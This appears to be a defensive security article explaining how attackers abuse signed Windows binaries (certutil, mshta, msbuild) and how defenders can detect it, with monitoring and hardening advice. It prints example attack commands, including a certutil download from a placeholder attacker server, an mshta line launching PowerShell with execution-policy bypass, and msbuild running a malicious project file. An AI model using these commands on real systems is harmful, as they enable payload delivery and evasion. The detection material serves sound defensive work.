FrameworkGuidesModulesRelease NotesAbout

Living Off the Land Binaries (LOLBAS) in 2026: Techniques and Detection

Comprehensive analysis of LOLBAS techniques trending in 2026, with detection strategies for defenders monitoring abuse of legitimate Windows binaries in enterprise environments.

Living Off the Land Binaries (LOLBAS) in 2026: Techniques and Detection

Living-off-the-land binaries — legitimate, signed system tools used for malicious purposes — remain one of the most effective evasion techniques in 2026. The concept is simple: why bring your own tools when the operating system already provides everything you need? Certutil downloads payloads. MSBuild compiles and executes code. Rundll32 loads arbitrary DLLs. MSHTA executes scripts. All of these are Microsoft-signed binaries that exist on every Windows installation.

The LOLBAS project catalogs over 200 Windows binaries, scripts, and libraries with documented offensive use cases. For defenders, the challenge is not identifying these binaries — they are well-known — but distinguishing legitimate administrative use from malicious abuse.

What Changed Recently

LOLBAS techniques have been documented for years, but several trends reshaped the landscape in 2025–26:

  • Application control adoption drives LOLBAS growth — As more organizations deploy AppLocker or WDAC, traditional executable-based attacks fail. Attackers shift to system binaries that are always whitelisted, making LOLBAS more relevant, not less.
  • New LOLBAS discoveries — The community continues to find offensive capabilities in obscure system utilities. Several new binaries were added to the LOLBAS project in 2025, including developer tools, management utilities, and diagnostics tools.
  • LOLBAS chaining — Sophisticated attack chains combine multiple LOLBAS binaries in sequence. For example: certutil downloads a payload → expand decompresses it → msbuild compiles and executes it. Each step uses a different signed binary, making signature-based detection impractical.
  • Cloud-hosted LOLBAS — Attackers host payloads on legitimate cloud services (as discussed in the cloud C2 article) and use LOLBAS binaries to download them. The combination of a trusted download URL and a trusted download tool defeats most network and endpoint detection.

Most Abused LOLBAS Categories in 2026

| Category | Binaries | Abuse Type | |---|---|---| | Download / Transfer | certutil, bitsadmin, curl, powershell | Fetch payloads from remote URLs | | Execution | msbuild, mshta, rundll32, regsvr32 | Execute arbitrary code or DLLs | | Script Execution | wscript, cscript, powershell | Run scripts without traditional executables | | Compile | msbuild, csc, jsc | Compile and execute code on-target | | Bypass | msiexec, forfiles, pcalua | Launch processes that bypass application control | | Reconnaissance | dsquery, nltest, net.exe | Active Directory and network enumeration |

How LOLBAS Abuse Works at a Conceptual Level

Every LOLBAS technique exploits the same fundamental property: the binary is trusted by the operating system and security tools. This trust comes from being:

  • Microsoft-signed with a valid Authenticode signature
  • Pre-installed on Windows (no deployment required)
  • Included in default application control allow lists
  • Executing in a legitimate process context

Common LOLBAS Attack Patterns

Download and Execute

certutil -urlcache -split -f https://[attacker-server]/payload.exe C:\temp\payload.exe

Certutil is a certificate management tool. Its URL cache feature is regularly abused to download arbitrary files. The download originates from a Microsoft-signed binary, which many web proxies and endpoint tools trust.

Inline Script Execution

mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run ""powershell -ep bypass -c IEX(...)"":close")

MSHTA executes HTA (HTML Application) content, including inline VBScript. This launches PowerShell without a direct parent-child relationship from the original delivery mechanism.

Code Compilation and Execution

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe malicious.csproj

MSBuild compiles and executes .NET project files. An attacker can drop a .csproj file containing arbitrary C# code and execute it through MSBuild without any compiled executable touching disk.

Where Defenders Can Observe It

Process Creation Monitoring

  • Command-line logging — The most valuable telemetry for LOLBAS detection. The binary name alone is not suspicious — it is the arguments that reveal abuse. certutil -urlcache -split -f with an external URL is a clear indicator.
  • Parent-child relationships — mshta.exe spawned by outlook.exe (email attachment) has a different risk profile than mshta.exe spawned by explorer.exe (user double-click). Track the full process tree.
  • Sysmon Event ID 1 — Process creation with full command line. This is the foundation for LOLBAS detection.

File System Monitoring

  • Unusual file writes in temp directories — LOLBAS download tools write to disk. Certutil writes to the specified path. Monitor for executable or script file creation in temp directories by system utility processes.
  • Project file creation — .csproj, .sln, and .vbproj files appearing in user-writable directories may indicate MSBuild abuse.

Network Monitoring

  • Unusual outbound connections from system utilities — Certutil, BITSAdmin, and MSBuild should not be making outbound HTTP connections in most environments. Alert on network connections from these processes.
  • DNS queries from unexpected processes — System utilities resolving external hostnames is a signal.

Common Detection Blind Spots

  1. Binary name only detection — Alerting on certutil.exe execution without examining the command line produces overwhelming false positives from legitimate certificate operations.
  2. No command-line logging — Without full command-line arguments, LOLBAS abuse is invisible to process monitoring.
  3. Trusted parent exception — Some detection rules exclude processes spawned by trusted parents like svchost.exe or services.exe. Attackers chain LOLBAS through these trusted contexts to avoid detection.
  4. Developer tooling exceptions — Environments with developers may whitelist MSBuild, CSC, and other compilation tools, creating a blind spot for code execution abuse.
  5. BITS Jobs — BITSAdmin jobs (and the BITS service) can persist across reboots and execute downloads on a schedule. Many organizations do not monitor BITS job creation.

Practical Hardening and Monitoring Guidance

For Detection Engineering Teams

  • Build argument-aware detections — For every known LOLBAS binary, create detection rules that trigger on specific suspicious argument patterns. The LOLBAS project provides the documented offensive arguments for each binary.
  • Track process trees — A single binary in isolation may be benign. The chain of: email client → script host → LOLBAS downloader → LOLBAS executor tells a story. Build multi-stage detections.
  • Monitor for BITS job creation — Sysmon Event ID 1 for bitsadmin.exe with job creation arguments, or direct monitoring of the BITS event log.
  • Baseline legitimate use — Many LOLBAS binaries have legitimate uses. Understanding the normal usage pattern in your environment is essential for building high-fidelity detections. Certutil is legitimately used by IT teams — but only for specific operations from specific source contexts.

For System Administrators

  • Restrict unnecessary utilities — If your environment does not need MSHTA, remove or block it. Use AppLocker or WDAC to deny-list specific LOLBAS binaries that have no legitimate use in your environment.
  • Enforce Constrained Language Mode — CLM restricts PowerShell's capabilities, which is the most commonly abused LOLBAS binary.
  • Deploy ASR rules — Attack Surface Reduction rules specifically target several LOLBAS patterns: blocking Office child processes, preventing script execution from email, and restricting WMIC and PSExec.
  • Monitor developer environments separately — Development systems legitimately use MSBuild and CSC. Separate monitoring baselines for development and production environments prevent false-positive fatigue.

Lab Testing Context

In a controlled lab, the Veil Framework generates payloads that can be delivered and executed using LOLBAS techniques. Testing your detection coverage by delivering Veil payloads via certutil, executing them through MSBuild, and observing whether your detection stack catches the full chain validates your LOLBAS monitoring.

The sandbox analysis guide provides the lab setup details. Earlier articles on fileless malware and process injection are directly related since LOLBAS techniques are often the entry point for fileless execution chains.

Related Reading

The most dangerous tools are the ones already on the system. LOLBAS detection is not about blocking binaries — it is about understanding how those binaries are used and building detections that distinguish administration from attack.